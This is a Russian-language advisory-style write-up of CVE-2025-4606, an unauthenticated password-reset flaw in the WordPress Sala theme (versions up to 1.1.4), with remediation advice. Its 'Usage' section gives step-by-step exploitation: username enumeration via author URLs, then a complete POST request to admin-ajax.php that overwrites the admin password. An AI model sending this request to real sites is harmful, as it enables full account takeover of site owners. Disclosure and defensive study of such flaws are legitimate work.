CVE-2025-4606- WordPress Тема Sala <= 1.1.4 - Неаутентифицированное повышение привилегий через сброс пароля/захват учётной записи

🔥 Краткое описание уязвимости
Тема WordPress Sala версий <= 1.1.4 уязвима к неаутентифицированному повышению привилегий. Эта ошибка позволяет неаутентифицированным злоумышленникам сбрасывать пароли произвольных пользователей — включая администраторов — путём прямого вызова открытой AJAX-конечной точки без проверки личности запрашивающего.

Эта уязвимость возникает из-за функции change_password_ajax, зарегистрированной как wp_ajax_nopriv_, которая устанавливает новый пароль для любого существующего логина без проверки авторизации запроса.

🔍 Затронутая тема

• Название темы: Sala – Startup & SaaS WordPress Theme
• Затронутая версия: <= 1.1.4
• Тип уязвимости: Неаутентифицированное повышение привилегий
• CVE ID: CVE-2025-4606
• Оценка CVSS: 9.8 (Критическая)
• Влияние: Полный захват учётной записи (включая администратора)

🧪 Характеристики эксплойта

• 🔓 Не требуется аутентификация
• 🔄 Перезаписывает пароль любого пользователя путём указания существующего логина
• 📬 Нацелен на AJAX-конечную точку /wp-admin/admin-ajax.php?action=change_password_ajax
• 🧠 Работает мгновенно, если злоумышленник знает существующее имя пользователя (например, admin)

🧠 Исследователь

• Автор: Thai An

🚀 Использование

1. Определите существующее имя пользователя на целевом сайте WordPress. Это можно сделать, проверив:

   • Публичные URL архивов авторов (/author/username)

2. Сформируйте следующий POST-запрос для сброса пароля пользователя:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: targetsite.com
   Content-Type: application/x-www-form-urlencoded
   
   action=change_password_ajax&login=admin&new_password=hacked123
   

3. В случае успеха вы можете войти как целевой пользователь, используя новый пароль (в примере выше — hacked123).

4. Посетите /wp-login.php и подтвердите доступ.

🛠 Рекомендации по исправлению

• Разработчикам темы следует удалить или защитить хук wp_ajax_nopriv_change_password_ajax.
• Всегда проверяйте is_user_logged_in() и подтверждайте личность пользователя перед разрешением чувствительных действий.
• Внедрите проверки nonce для предотвращения CSRF и неаутентифицированного злоупотребления.

🔒 Отказ от ответственности:
Данная информация предоставлена только для образовательных целей и авторизованного тестирования на проникновение. Несанкционированная эксплуатация систем незаконна и неэтична.

📚 Ссылка:

• Консультация Wordfence